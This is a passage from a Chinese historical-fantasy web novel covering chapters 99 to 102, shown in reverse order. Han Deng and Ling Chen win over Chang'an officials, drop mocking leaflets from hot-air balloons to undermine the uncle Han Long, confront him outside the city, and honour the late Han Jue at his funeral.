漫天纸钱洒落,魂幡迎风飘扬,山风抚动枝头梢叶,簌簌作响。 一身淡黄色明绣的文训,舍却郑王身份,屈尊降贵,以儿女亲家的名义亲临此地,进香祭拜曾经的朋友、同年、袍泽、亲家…… 以及对手,韩珏。 当他将三炷燃香插入案前的铜绿香炉中时,立在广场中的关中臣属们,纷纷掩面拭泪,啜泣声此起彼伏。就连那些曾经跟随韩珏纵横沙场、杀人如麻的悍将们,也都个个红了眼眶。 韩意抿起朱唇,两行晶莹的清泪顺着洁白无瑕的脸蛋滑落。自从十四岁那年离开家乡,嫁去汝南,她就再也没有见过父亲。因为身份和时局的影响,回娘家对她来说,是一种不可能的奢望。 如今终于回到家乡,回到了魂牵梦绕的故里,可是父亲却成了冢中人。 世人都羡慕豪门望族坐拥万贯家财,不事劳作,受人供养。可谁又能懂这种骨肉分离不能相见,再见已是永别的痛苦呢…… “爹——” 韩意情绪崩溃,扑倒在地,悲痛欲绝的呼喊着父亲,引得在场众人皆是捶胸顿足,许多官员和将领都跪倒在地,痛哭流涕—— “王爷!!” “呜呜呜……大哥!!” “王爷啊!王爷……” 文若叹着气伸手扶住妻子,将近乎瘫软的韩意从地上搀扶起来;一旁的韩登吸着气,抹了一把眼泪,努力让自己坚强点;他身边的申屠忘忧面色担忧的搂住韩登的胳膊,轻拍着安慰自己的相公。 文训祭拜完后,绕过案桌,缓缓走到韩珏的墓碑前,伸出右手按在冰凉的墓碑上,也是心情复杂。 他跟韩珏的关系,恰如今日的凌晨与韩登、崔赦、吕齐之流,都是少年相知、志趣相投的好友。两人又同为官宦之后,年长时各自统兵镇守一方,关系向来亲厚,后来还结为了儿女亲家。 可他们又注定是天然的竞争关系,亦友,亦敌。 如今,故人凋零,好似风中落叶,自己也已垂垂老矣。如何能不触景生情、心生感伤呢? 轻叹了一声后,文训抬起头,看向跪在地上的儿女们,又望向立在广场中的臣子们。最终,将目光停留在了躲在种平身后、东张西望的凌晨身上。 他右手扶着韩珏的墓碑,左手抬起指向凌晨,翻动手掌,微微屈指示意他过来。 被指到的凌晨表情一愣,喊我干嘛? 虽然心中不解,不过这么多人看着,他也只好低下头,迈着小碎步快步来到了案桌前,躬着身子垂首道:“王爷。” 文训看着凌晨,对他说道:“去案桌那里取块黄巾,代本王擦碑。” “呃……好。” 哼哧哼哧的将快跟自己一样高的墓碑仔仔细细的擦拭了一遍后,凌晨又跟在文训身后,来到了韩登母亲身边。 这阿姨愁眉不展,神情哀伤,带领着韩珏的小老婆们齐齐向文训谢礼。 “嫂子,我们有……快二十年没见了吧?” 韩高氏忍住悲伤,强撑着答道:“王爷好记性,正是。” “兄长已去,嫂子切莫过于悲伤。若是愿意,可以去汴京生活。本王会为嫂子造一王府,与你弟妹、意儿说话也方便,外孙已经会走路了。若是不惯,便留在长安,往后多叫孩子们前来看望。需要什么,尽可差人报与本王,无有不允。” 韩高氏低头谢道:“臣妇斗胆,想问过孩子们再行决择,先行谢过王爷。” 文训也拱手行礼,面子给的很足。 做完这一切后,他领着凌晨重新回到了祭案桌前,文若、韩登夫妇四人全都起身立在文训身旁,齐齐面向文武官员。 “自即日起,关中与中原,重归一家。” “臣等愿为郑王执鞭坠镫,但凭驱使,绝无怨言!” 第102章 依计而行 鲁迅曾经说过:趁他病,要他命。 韩珑麾下的很多高级将领和地方官员都已经被韩登游说说服,答应届时会襄助。如今又来了一剂天降异象的猛药,将中下层民众和士兵的心思彻底搅乱。思想一旦混乱,就很难再形成战斗力,人数再多也没有用,甚至可能会越多越乱。 更何况他也没比韩登多多少。 条件已经成熟,该进行决战了。 顺道一提,韩珑也做出过努力,他派出快马去追踪那些热气球,想一探究竟、寻找到一些有利的证据,来破除封建迷信。 奈何那些热气球底部都是经过提纯的烈酒和火油,任务完成后,还在空中就已经启动了自毁程序。不仅没能找到有利于蓝田侯的信息,反而让那些探马们观看到一场绚烂的黄昏流星雨,根本不敢进前。 他们看到的景象更多、更震撼!甚至有些探马比城中百姓更要觉得韩珑人品差,惹的上天震怒。 至于落下来后引发了几场火灾的副作用…… 成大事者,不拘小节。所幸没有造成人员伤亡,财产损失以后再补偿吧,入关之后,自有大儒为我辩经。 八月初二,韩登、凌晨、贾骐率领两万三千王师,兵临长安城下。 虽然大家都清楚是怎么一回事,但面子上还不能撕破脸皮。现在的局面是:好叔叔、蓝田侯从庶出的韩临那里夺回了家产,邀请关中王回到长安主持大局。 关中王现在到城外了,你出不出去迎接? 不出去,前几天从天上撒下来的传单上面所描述的情况可就坐实了。 但韩珑是真不想出去,他已经敏锐的察觉到了手底下人的离心离德。他们面对自己时依旧和往常一样恭顺,但他能清晰的感受到,手下们对自己已经没了敬畏。 立在城头上,韩珑一身盔甲,双手扶着箭垛,望着城下的使者和远处遮天蔽日的军队,进退两难。 站在他身边的种平望着下方,面色凝重的问道:“侯爷……那小子已经到了,我们现在怎么办?” 韩珑扭头看向种平,只见他忧心忡忡,显然也跟自己一样觉得犯难。人在无助的时候,总会下意识的寻找自己的伙伴,以此来壮胆和安心。 也许是老乡、也许是同学,什么都可以。 “衡界,你说……老夫若是出城,胜算几何?” 种平摇着头说道:“侯爷,下官觉得,还是不要出城的好。侯爷或可假托自己贵体抱恙,令心腹出城请他入城,待他进了瓮城,还不是……” 韩珑皱眉摇头道:“他不会进来的,或者要是先派手下军兵入城,那岂不是骑虎难下?眼下局势不利于我,更加不能率先动手,衅不我开。” 种平咬了咬牙,目光狠厉的盯着下方说道:“要不……侯爷还是出城,就立在城门,叫他来城下相见。下官愿作这个恶人,在城头上指挥兵士万箭齐发!到时木已成舟,只能由侯爷来主持大局了。” 韩珑诧异的看着抱着决死之心的种平,这…… 见韩珑惊疑不定,种平凑到他身边,看着周围的士兵悄声说道:“我们这帮老兄弟辛苦打下来的江山,绝对不能任由那小子拱手送给外人!侯爷,你一定要带领着我们关中子弟,复显汉唐雄风!” 看着一脸决然的种平,韩珑内心纠结不已。 他目前还不想杀韩登,更不想在这种大庭广众之下杀他。这样一来,逆臣的罪名就坐实了。 最好是控制住他,让他做个提线木偶,等到大家都只记得有蓝田侯,而忘记了还有个关中王时,再说其他。 摇了摇头后,韩珑拒绝了种平的建议,不过还是有些感动的拍了拍他的胳膊,种衡界还是与我想法一致、心向着我的啊! “此举太过,衡界万勿轻率动手。嗯……不如这样,老夫亲自出城,就立在城下与他会面。而后老夫邀他一同入城,不愁他不并辔齐行。待老夫赚他入了瓮城以后,你可射住后方兵马,升起吊桥。如此,便能将这孩子握在掌中。” 种平听得眼睛一亮,有些激动的单手握拳,另一只手拍着拳背说道: “侯爷妙计!若是侯爷亲自出城相迎,他就不得不跟,否则便是疑心忠臣。若是一起进来,将他掌握,那城外的兵马便不得不听从,否则就是叛军!妙!妙!太妙了!” 韩珑被种平的夸赞和情绪所感染,也是心头一舒,露出了笑容。不过随即就收敛起来,恢复了平静的脸色,握着种平的手腕说道: “此计虽然可行,但关键就在于衡界,务必要射断后军,关闭城门阻断他们的联系。否则一旦被他走脱,你我便坐实了这反贼的名声,眼下人心惶惶,局面将会十分不利!” 种平听完后,立刻目露凶光:“侯爷放心,下官绝不会叫他走脱!” 见他一副疯批模样,韩珑连忙不放心的叮嘱道:“还有,若是事不可为,便叫他离去,切莫伤他性命!眼下时机还不成熟,我们可以寻个由头,就说我等诚心相助,他反而欲要加害我等云云,尚有回转的余地。” 种平嘴角一撇,面色不甘的纠结了好一会,才重重的叹着气点头说道:“罢了!下官听侯爷的就是了……” 韩珑这才满意的点了点头,他跟种平的关系不算特别亲密。但是上次攻打长安,韩登被迫撤离后,种平十分勤快的奔走,这才帮助自己快速稳定了长安人心,可见也是不满侄子的易帜主张。 今日言辞又如此激烈,必然无虞。不过为了保险起见,韩珑加派了自己的心腹副将协助种平,这才放心的叫人打开城门,率领本部亲兵浩浩荡荡的出了长乐门。 韩登和凌晨、贾骐立刻率兵向前,双方人马在相距不足百米的地方停了下来。韩珑带着两名将领出阵上前,韩登也领着凌晨和贾骐迎了上去。 六马碰头,叔侄相见,心情不可谓不复杂。 一身甲胄的韩登握着鞭子,立在马背上朝着韩珑行礼:“二叔。” 韩珑也象征性的抱拳行礼,官方的礼见完后,他语气恳切的开口说道: “问阶,先前是二叔不对,被英至蛊惑,和你作对……没想到入城以后,他本性暴露,声色犬马,淫糜无度。如今四周强敌环伺,二叔思来想去,还是觉得你说的有道理,而且你也比你弟弟更争气。走吧,我们回家吧~” 自从父亲去世后,韩登成熟了很多,脸上没有了吊儿郎当,尽显官宦子弟的沉稳和成熟。 “二叔,跟我回营,而后一起入城。我们是一家人,你跟我爹是亲兄弟,只要你听我的,我保你一生富贵无忧。此时抉择,为时未晚。” 韩珑心头一惊,这话什么意思?难道他看出不对劲了? 虽然心中忐忑,但他还是强压住惊疑,再次劝道:“孩子,多此一举做什么?二叔已经公告世人,举你掌权,难道还会变卦么?你跟我一同入城就是了,你要是不放心,也可领手下兵马一起入城。” 韩登仰起脸,目光复杂的望着韩珑,良久不语。最终,他长长的叹了一口气,别过脸去。 一旁的凌晨冷笑一声,看着韩珑说道:“大叔,你把我们当三岁小孩哄呢?你那点小心思,还是收起来吧~” 韩珑见韩登不说话,明显是不肯中计,心中便有些焦急了。又见凌晨张口插话,顿时就脸色不悦道: “混账!我们叔侄说话,岂有你一偏将插嘴的份!” 听到他这么说,凌晨瞬间就不乐意了:“老头,我也就是看你年纪大,又是我兄弟二叔,才尊称你一声叔。你食邑蓝田,老子食邑临颍,大家都是周廷敕封的侯爷,你还跟我高贵上了?” 韩珑闻言瞪大眼睛看向凌晨,心头微震! 临颍侯凌晨?? 他不是文训的人吗?而且坊间一向盛传此人孤僻,很少活跃在朝堂,没想到竟然出现在这里,而且如此年轻! 等等…… 原来如此,难怪文家老大的五万大军会停驻观望,原来是早就派了此人给侄儿出谋划策,蛊惑他手底下的官将兵马。 韩珑也是聪明人,没一会就猜想到了其中的门道。 不过,那又如何? 正好一网打尽! 主意打定后,他立刻换上笑脸,客气的抱拳说道: “原来是临颍侯,久仰久仰~~既然如此,便与我们一同入城吧!老夫思来想去,如今关中强敌环饲,改旗易帜、归于郑王帐下,也不失为一条出路。往后你我同朝为官,还要多多走动。今日休言国事,陪老夫一醉方休!” 凌晨敷衍的抱拳回礼,随即说道:“如果阁下心中真是这般想的,那就随我们回阵,一起风风光光的入城。你放心,你是小韩叔父,自然也是我的叔父。只要有我在,朝堂诸臣、汴京公卿,任谁来都会敬你三分。” 韩珑差点没被凌晨给气笑了,不过为了大计,他还是不动声色的说道:“如此……老夫便先谢过了。只是何必去而复返那么麻烦?老夫岂会对先兄之子藏有二心?侯爷也替我劝劝问阶,莫要磨蹭,快快入城为好。” “啧……”凌晨皱眉盯着韩珑,不耐烦的说道:“你还真是不见棺材不落泪,不撞南墙不回头啊!” 听见他这么说,韩珑的脸色顿时就垮了下来:“你说什么?” 凌晨下巴轻轻一扬,示意韩珑回头: “你要不看看你后面呢~” 第101章 天降异象 宽阔的大堂上,冯翎太守、蓝田侯韩珑高坐案首。 身材不算高大,但隔着老远就能让人感受到他的壮硕和厚实。眉毛外翻,鹤目细眯,两根手指捏着自己的胡须轻轻捋动,粗犷中带着一丝细腻,不怒自威。 桌面的信笺上明明白白写着,韩登的军营已经出现了不少逃兵,大都是韦籍的旧部,害怕受到韩登的清算,已经潜逃回了各自的家乡。 韩珑“哼哼”一笑,提起狼笔,饱沾墨汁,开始挥毫。 既然宝贝侄子手底下的人开始逃跑了,那二叔怎么也得再添把柴火,帮他去去重、减减负。 终究还是质子当的太久了,性格软弱不堪,竟然妄图将关中并入中原,甘心接受文家的统治,这不是傻缺么? 二侄韩临也难堪大用,底下人的娘死了,跑去跟着哭坟。底下人生病了,跑去亲自喂药。要是这样就能得人心的话,历朝历代的君主不得忙死? 说到底,大哥的孩子们还是太嫩了,成不了气候。这千斤重担,还得自己来挑。 细作传来消息,好侄子手里的兵马也就两万多一点,而且正在流失。还有洛阳府尹贾建支援的五千人,也不足为虑。 真正要担心的,是驻扎在潼关的五万中原军队。那里面,可是有不少江淮军精锐战将。 凤翔知府已经和孟蜀军队短兵相接,夏国还有三万铁骑兵临渭州城下。情况很麻烦,得赶快收拾完这不听话的小子,专心解决正事。 不知不觉中,凌晨和韩珑臭味…啊不是,英雄所见略同。韩登听取凌晨的建议,派韦籍旧部各自归乡宣传韩珑的反动性质。韩珑也派人在华阴周边揭露韩登要把大家卖给文训,还要大家替他数钱的恶劣行径。 双方都已经饥渴难耐了。 七月十四,大暑时节。 支持韩登的联军军营中,逐渐出现了许多质疑和讨论的声音,甚至出现了真正的逃兵。凌晨和韩登这才意识到不对劲,立刻派人入营查访。 一查才知道,原来是韩珑派人往这些太守知县们的营中送书信,连劝告带威胁,叫他们不要待在韩登的手底下,快速回乡向里正报道。逾期不报者,家中父母妻儿将会被问罪。 这就过分了。 你跟我玩阴的是吧? 七月十九,太平无事。 长安东郊,沟泉村。 先前跟凌晨在营中聊天的那名年轻士兵肖乙,他的家就在这座村子中。有趣的是,沟泉村的老村长是他大伯,大伯的两个儿子都捐躯赴国难了,子侄辈里成年的,就只有肖乙这一个。 听说侄子要借用村中废弃的旧屋和麦场,肖老村长想都没想就答应了。 炎炎烈日炙烤着麦场,除了秋忙时节和做饭取麦草,这里基本没有什么成年人来,都是些流着鼻涕的小屁孩在这里捉鸟玩泥巴。 树荫下,凌晨蹲在地上,变戏法似的从手里翻出两个鸭梨,引得一群孩子们拍手围观。他笑嘻嘻把手伸出去,立刻遭到了熊孩子们的哄抢。 “给我!给我!” “我的,我先抢到的!” “哇——” 场面一度混乱不堪,凌晨连忙将手伸进胸口,掏出十几块油纸包裹的麦芽糖来,将身边一个因为没有抢到梨而嚎啕大哭的小女孩搂到身边,连哄带说的把糖喂进她的嘴里,这才止住了哭泣。 其他小孩看到后,也争抢着说道:“我也要我也要!” “哥哥哥哥,给我也给一颗嘛~” 凌晨哈哈笑着说道:“都有都有,别抢啊~” “叔叔,我也要~” 嗯? 原本开怀大笑的凌晨川剧变脸似的拉了下来,看向那个喊自己“叔叔”的小屁孩,冷哼一声,手里捏着糖挑眉问道:“你也想吃糖啊?” 小男孩吸着鼻涕,眼睛紧紧盯着他手中的糖点了点头。 “那我考考你,答对了我就给你~” 小男孩懵懵懂懂的看了看凌晨,不明白为什么给别人的时候都是直接给,轮到自己了却要问问题。但为了能吃到甜甜的糖,他豁出去了! “你问~” 凌晨蹲的有点腿麻了,站起来跺了跺脚后,指着一路延伸向南的巍峨山脉问道:“那是哪?” “那是秦岭。” 哦呦~可以嘛~ “呐,给你吃,下次记住,要喊哥哥,不能乱喊叔叔。那个,那个才是叔叔。” 小男孩从凌晨手中接过糖去,一把塞进嘴里,撅起嘴品尝着由味蕾传来的齁甜,看向从远处走来的刘廷让,似懂非懂的点了点头。 刘廷让疑惑的看了一眼这个盯着自己的孩子,转而对凌晨说道:“侯爷,都准备好了。” “嗯,干活吧~” 凌晨朝着他点了点头后,重新蹲下来坐在压麦的石碾子上,对孩子们说道:“你们想不想看UFO?” 正在忙着享受美味孩子们,已经对这个给他们带来各种美味零嘴、还不收钱的货郎哥哥产生了浓浓的好感,纷纷围拢了过来,争吵着嚷嚷道—— “要看要看!我们要看!” “在哪里呀哥哥,快给我们看看!” 凌晨伸手示意他们安静,叫他们都坐到自己身边来,指着前方白云朵朵的天空,以及塬下依稀可见的长安城说道:“从现在起,大家都不要说话,看天上。” 孩子们立刻听话的捂上嘴巴,齐齐顺着凌晨的手指看向天空。 巨大的黑色热气球腾空而起,从他们的头顶飘过,顺着东风向西缓缓移动,目标——长安! 孩子们瞪大眼睛看着一个接一个的黑色大圆球飞到天上,个个小脸震惊!这跟见到活的奥特曼没有区别。 经过精确计算燃烧速度的棕香(该产品由开封府杰出企业未来寺倾情赞助)在到达长安城上空后,刚好烧到被两指粗的香柱微微别弯的细麻绳,没一会就烧断了。 没有了细麻绳的拉扯,挂在热气球底部的藤板“哗啦”一声打开,将里面的几百上千张传单从高空抛下!一片一片又一片,两片三片四五片,漫天飞舞,从长安城的上空缓缓飘落。 “报!!不好了大人!!” 韩珑正在衙中和几名将领议事,他的亲卫神色慌张的抱着一堆传单冲了进来,着急忙慌的跪倒在了地上。 韩珑疑惑的看着他问道:“什么事慌成这个样子?不要着急,慢慢说。” 那亲卫人都麻了,上气不接下气的将手中的传单举给韩珑,韩珑满头雾水的从里面取出一张,拿在手里定睛看去—— 一个头大身材小的……这是人吗? 姑且算他是吧,这个大头人手里握着一把剪刀,他的面前同样是一个这样的人,好像还带着兜鍪,被绑在树上。 那个拿着剪刀的大头人呲着一口牙,两个嘴角上扬。被绑的那个看起来好像表情有点扭曲,还有一道断断续续的线把剪刀大头人的眼睛和被绑之人的两腿之间连在一起。 最下面还有一行小字——“吃人魔韩珑的下酒菜”。 “啊——!!” 韩珑勃然大怒!一把将传单撕碎,又夺过来其他的传单,一张接一张的看,越看脸越红,额头和脖子青筋暴起! “韩珑深夜偷看寡妇洗澡”、“韩珑脚踢小巷五岁稚童”、“韩珑骑古稀老妪过官路”、“韩珑营帐中的人羊怪影”、“韩珑在尼姑庵的七个私生子”…… 韩珑七窍生烟!怒吼道:“这些都是哪来的?!把散播此物者抓起来!严刑拷问,定要问出幕后主谋!!” 亲卫抬头纹层层皱起,十分无助的说道:“大……大人,抓……抓不住啊……” 听到他这么说,韩珑更生气了!快步上前一把扣住他胸口的甲胄,将他提了起来:“你说什么?!” 亲卫闭着眼睛,硬着头皮说道:“大……大人,您还是……亲自出去看一眼吧……” 韩珑见他伸手指向堂外,一把推开他,快步向着屋外走去,其他几名将领见状,也急忙跟在韩珑身后追了出去。 当他们走出房门,站在瓦檐廊下后,个个目瞪口呆的望向天空! 天空中满是纸张,随风飞舞,好似七月飞雪!屋顶、树梢、庭院里到处都是同样的纸片。更高的地方,还有几十个巨大的黑色圆球在缓缓移动!! 什……什么情况?? 整个长安城为之震动!对于这些认知有限的人们来说,那些热气球跟外星战舰没什么区别!每一个上面还飞出大量纸片,全部都在说蓝田侯不似人类!! 七月飞雪、天现异象,对于蒙昧和迷信的百姓们来说,没有比这更让人震撼得了! 传单上的画面简洁明了,只要不是唐氏综合症,一看就能明白其中的意思。每张传单上都会出现同一样的两个字,哪怕是不认识字的人,随便一打听就知道那两个字叫“韩珑”! 更何况满城都传疯了! 长安城里的普通百姓、营中士兵们,都认为韩珑可能是真的干了什么天怒人怨的事,不然怎么会出现如此诡异离奇的事情呢?再加上归乡的韦籍旧部先前的宣传引导,一个大哥尸骨未寒,就急着欺负侄子、抢夺家产的恶叔叔形象,瞬间就顺理成章了! 就连那些读过书的官员、将领们都被传言和异象深深影响了心绪,虽然没有立马就去府衙剁了韩珑祭天平怒,但显然已经无法继续真心为他做事,万一哪天他真的被天打雷劈了怎么办?? 不行,必须得离他远点! 韩珑根本没心思去注意身边那几名将领都悄悄往两边不着痕迹的挪了点,他自己也望着天空懵圈了。 谁能告诉我,发生什么事了?? 安?? 第100章 审时度势 百千家似围棋局,十二街如种菜畦。 遥认微微入朝火,一条星宿五门西。 嬴政从这里出发,横扫六合,完成了中国历史上首次真正意义上的大一统。挥剑击浮云,诸侯尽西来。 刘彻以这里为起点,撕碎匈奴,荡平百越。他的国号成为一个伟大民族永远的标识。建章锦绣,长乐未央。 杨坚站在灞桥柳下,挥袖东指,身后的虎狼之师呼啸而出,平齐灭陈。一个多民族的文明框架指引了后世千年。 李世民勒马渭水河畔,他那深邃的目光穿透远山群岱,直上九层云霄。天上地下,古往今来,只有一个大唐。 秦时明月,今夜仍照,盛世长安。 长乐坊,府尹宅门。 种平刚刚从韩珑的帅府开完会回到自己家中,长随从他手中接过坐骑的缰绳,牵去喂料。夜深了,家人都已经睡下,他走进书房,命侍女点上烛灯后,坐在案前翻开书纸提笔勾画。 “莎莎~” 就在他聚精会神的独自一人处理政务时,耳畔突然传来一阵声响,种平疑惑的扭头看向窗边,窗户微开,挂在柱子上的帷幔随风飘动。 “谁在那里?” …… 无人应答,只有风声。 看了一会,依旧不见有什么异常。种平叹了口气,将手中的鼠须放在笔山上,揉了揉眉心。 最近可能是有些劳累了…… 下一刻,脖子上突然传来一阵冰凉,他的瞳孔猛然放大!凉意袭遍全身,微微垂首看去—— 一柄锋利的刀刃,轻轻贴在他的脖子上,而他竟然毫无察觉!! “你叫种平?” “你是何人?” 简单的寒暄过后,又是一阵沉默和寂静。很显然,大家都低估了对方的手段心性。 “我再问你一遍,你是不是长安府尹种平?” “本官最后问你一遍,是谁派你来的?” 呀…… 凌晨惊讶的看着自己刀下的大叔,这么硬?刀都架脖子上了还这么淡定,这家伙不怕死吗? “凌晨,放开他。” 一直隐藏在屏风后的韩登走了出来,将头上的斗蓬摘到背后,目光复杂的望着被挟持的种平。 在见到韩登后,刚才还一脸淡然的种平,神色这才发生了变化,惊讶的看着韩登:“问……问阶?!你怎么会……” 韩登拱手向他行礼道:“平叔,别来无恙。” 种平毫不在乎的一把拨开凌晨的手,急忙离开桌案来到堂下,两手提着垂衫边角,双膝跪地,伏手纳头拜道:“臣下拜见关中王。” 韩登伸手将他扶了起来,种平躬着身子,请韩登坐在右首椅子上后,这才陪坐在他的旁边,屁股就耽了个边,很符合君臣礼仪。 “我今天来,别无余事,只为劝说平叔不要再跟着二叔了,没有前路的。” 种平的国字脸上浮现出一丝思索之色,下一刻,顾左右而言他:“你的胆子也太大了,竟敢趁夜潜入长安城,你就不怕你二叔得知消息,将你和英至一起……” 韩登看着他不说话,盯了半天后,叹着气说道:“这么说来,平叔还是不愿站在我这边了?” 种平低头看着地面,一言不发。 见他这个样子,韩登也只好起身,无奈的说道:“既然如此,平叔就当我今天没有来过,你跟着二叔,求你的富贵去吧。” 说罢,他便朝着凌晨挥了挥手掌,大步向着门口走去。 种平连忙起身伸手挽留:“问阶!” 见韩登停下脚步,种平深吸了一口气,长叹道:“唉!我与你爹,情同手足。昔日他在时,对我信任有加,临终前也曾托付我要好生辅佐你,可……可你……” “就因为我欲归顺文训?” 种平紧锁着眉头说道:“你在东边待的太久了,被他们灌了迷汤!今日的关中,是你爹带着我们这帮老兄弟一刀一枪打下来的!创业之坚,兴业之难,你根本无法体会!如今你要将大好基业拱手相让,甘愿为他人作嫁衣裳,叫我们这些人如何情愿呢?!” 韩登转过身看着种平,郑重的说道:“我是在邺城寄人篱下,和文训接触并不多,这并不是他给我灌了迷汤,而是我冷静思考后的选择。” 种平不解的问道:“为什么呀?!问阶,我们有十万大军!百万子民!大哥雄踞关中,经营近二十年!你究竟是怎么想的?为什么要将你爹辛辛苦苦打下来的江山拱手送人呢?你就……” “平叔,你说的这些我都清楚,我知道这是我爹一生的心血,不用你来告诉我。” 韩登看着种平,语重心长的说道:“正因为我爹为关中奋斗了一生,我才决意归顺文训,不想让他守护的百姓陷于战火之中。 他这辈子干的最多的事,难道不是为了让关中的百姓能够安稳的生活,不被党项人蹂躏吗?如果他有进取天下之心,早在应开疆起兵作乱那会,就排除万难,率领你们挥师东进了!” 种平呆愣着望向韩登,抿了抿嘴唇,胡须跟着微动,欲辩无言。 韩登继续说道:“他明明是实力最强,拥兵最多的一方诸侯。可是,孙芝和应开疆逐鹿中原时,他没有出兵。文训和应开疆争夺天下时,他依然没有出兵。你们跟了他这么久,却不知道他内心的真实想法。” 种平开口辩解道:“那是因为夏国贼子数度南下,我们分身乏术……” “不,你错了。”韩登盯着脸色难看的种平,一字一句的说道:“我爹从始至终,都没想过让家乡子弟白白流血,除非他国来攻,否则你见他哪次主动出击、想要扩大地盘过? 而今天,我是继承我爹的遗志,为家乡百姓、为关中士绅,谋求一条出路。文训起家,倚仗的是江淮士族,但却将都城定在颍川势力中心。如今更是广纳天下英才,青徐、燕赵尽皆归心,又怎会区待我们关陇? 平叔,我为的不是田舍私计、一家之利。而是为了完成爹的遗愿,为了我们的亲朋故旧能够免于战火。为了天下百姓能够重归一家。唐末以来,纷乱离扰,苦战久矣!” 种平难以置信的看着韩登平静的眼眸,显然是受到了很大的冲击,嘴唇一直在动,可却说不出一个字。 “就算抛却这些远虑,侄儿与平叔说说近忧。如今孟蜀、夏国都盯着我们,中原西进已是必然,就算集全境之力,也未必能应对这三路大军。 更不要说二叔与我尚在相持,再拖下去,我们会被他们撕碎瓜分的!那才是违背了我爹的遗愿,毁了他一生的心血,让他死不瞑目!” “这……” 韩登打断种平,继续苦口婆心的劝说道:“此时归顺,凭我们关中的底蕴,外加长姐又是文家大妇、未来皇后,何愁不能在朝堂之上傲视群雄?并非是我们伏低做小,而是以另一种方式,权御天下! 否则,山河血染,兵败屈从,那才真是失了先机,低人一等啊!” 夜风从半掩的纸窗吹进室内,一阵凉意袭来。种平一屁股坐倒在椅子上,单手握紧扶手,低眉在地面上左右移动,微张着嘴巴,陷入了深深的沉思之中。 理智告诉他,韩登说的不无道理,甚至可能是当前面临的严峻形势下,最佳的选择。 如果韩登统一不了关陇士族的意见,文训会放弃进兵关中,任由夏国或者孟蜀兼并这块肥沃的土地,日渐坐大,然后与他争夺天下吗? 绝对不会!! 他一定会让那帮刚刚平定了中原的虎狼之师,消除一切反对的声带,恢庙咸秦,收复西京。 他有这个能力。 种平坐在椅子上,心乱如麻的思考了很久,久到凌晨都快要失去耐心了,终于起身对着韩登正色行礼:“臣下明白了,该怎么做,请关中王示下。” “只需如此……” 烛花爆裂,谋划完事情后,韩登和凌晨就要辞别离去,叫种平留步,还有好几家的选票要拉呢~ 就在韩登重新将黑色斗篷盖在头上,正欲出门时,种平突然问道:“问阶,你就不怕自己前脚刚走,老夫后脚就去向你二叔告发,全城缉捕吗?” 韩登脚步一顿,和凌晨对视一眼后,笑着对种平说道:“无论如何,侄儿都尊重平叔的选择。况且,侄儿相信您的为人。” 说罢,他便拉开房门,走了出去。 种平欣慰的望着韩登离去的背影,大哥还说他家大郎不像他,哪里不像?这份性情和胆魄,分明就是一个模子里刻出来的。 渭城韩家,不生孬种。 就在他露出一脸姨母笑感慨万千的时候,突然发觉有些不对劲,目光转向凌晨,发现对方正在用一种古怪的笑容打量着自己。 “或许……大人真可以向蓝田侯偷偷告个密,人生在世,又何妨一试呢~” 调皮的开了个地狱玩笑后,凌晨潇洒的转身,跨过门槛走了出去,留下种平微微发愣。 对啊!刚才光顾着谈论大事了,怎么把他给忘了,这小子是谁啊? 种平这才后知后觉的想起刚刚不好的回忆来,伸出手摸了摸自己的脖子…… 没破皮吧? 在凌晨和护庄队的保护下,韩登趁夜拜访了许多长安城中还可以争取一下的人,许多有识之士审时度势,做出了和种平同样的选择。 当然,冥顽不灵的人也不会少,这样的人,凌晨都送去见韩珏了。 有什么委屈和苦衷,当面跟先王说去吧~ 第99章 人心所向 孙子云,不战而屈人之兵,善之善者也。 华阴夺权成功后,韩登重拾信心,准备从二叔手里夺回属于自己的家业。 就在他紧锣密鼓、和那些忠心耿耿的太守知县们研究运送粮草、规划行军路线和作战方案时,凌晨独自一人来到了城外的韦籍旧部营地。 见识过凌晨凶残手段的新统军李卿,在听说了临颍侯来到军营视察后,连忙出营迎接。凌晨和他寒暄了几句,让他忙自己的事去,自己想单独在营里走走,看看士兵们的寻常训练和生活。 天气炎热,士兵们都在自己的营房里纳凉消暑,凌晨背着手饶有兴趣的晃荡着,最终走进一间营帘掀起的帐篷里。 帐篷里横七竖八的躺着五六个汉子,个个光着上身,将裤腿卷起到膝盖,躺在草席上用薄木板、布巾扇风。帐篷里还有一两只苍蝇嗡嗡叫着,偶尔落在士兵身上,被随意挥手赶走。 见到凌晨进来,一个正在挂盔甲的年轻士兵连忙将兜鍪丢到木架上,用脚踢着躺在地上的同伴,却惹来一阵不耐烦的咒骂:“你娘的皮!干什么?!” 那名年轻士兵见他烂泥扶不上墙,也不管了,连忙躬身抱拳,朝着凌晨行礼。 “小人见过大人。” 他不认识凌晨,但能在军营里穿着单薄丝缎随意闲逛、脚上还踩着官靴的,肯定不是一般人。 其他人听到年轻士兵的话,这才注意到进帐的凌晨,纷纷将闭着眼的、背对着的袍泽都戳了起来,齐齐向着凌晨行礼。 凌晨随便在一张草席上坐了下来,伸出手抚摸着粗糙的席面,思绪万千。 回过神来后,他笑着对这几名士兵说道:“坐,都坐。” 几人你看看我,我看看你,都不敢。 凌晨无奈一笑,伸手拉着离自己最近的一个汉子,强行将他扯来坐到自己旁边,其他人见状,这才小心翼翼的都坐了下来。 “我叫凌晨,跟你们关中王是兄弟,自然也跟你们是兄弟。今天冒昧打扰你们休息,没有别的意思,就是想和弟兄们聊聊天。看着你们这草席啊,就让我想起了以前在江淮军先锋营的日子……” 士兵们面面相觑,都不敢随便开口,最终,还是最先发现凌晨的那个年轻士兵壮着胆子开口接话:“大人……也睡过小人们的这种草席吗?” 凌晨单腿屈起,双手交叉抱住膝盖,笑着说道:“是啊!说起来,我那时住的比你们还差呢,江淮蚊虫多,咬的我都快崩溃了,同帐的一个,蛋都被叮了~” “哈哈哈~” “哈哈哈哈!!” 听到凌晨说出如此粗俗的话语,这些底层士兵们不禁都笑出了声,也不那么惧怕他了。 另一名看起来三十多岁的士兵,明显是有些见识的,抱着拳问道:“大人莫非就是临颍侯凌侯爷?” “嗯,正是。” 士兵们顿时露出惊讶和难以置信的表情来,在他们的认知中,大头兵干到底,也获不了封。只有一路往上升,伍长、百夫长、小校、校尉、统军,也才只是具备了资格和可能。 没有盖世奇功,统军也封不了爵啊! 所以那些爵爷们,大都背景雄厚,是来军营里历练镀金的,但……再怎么镀金,也不能去先锋营镀金吧? 那名年轻士兵忍不住问道:“侯爷,您……您真是从先锋营一路升到侯位的?” 凌晨看出了他的疑惑,笑着说道:“岂止,你猜我进先锋营前是干嘛的?” “干……干嘛的?” “流民。” “啊?!” 营帐里顿时爆发了一阵惊呼和议论,他们交头接耳的对彼此说道: “哎,你听到没?流民!” 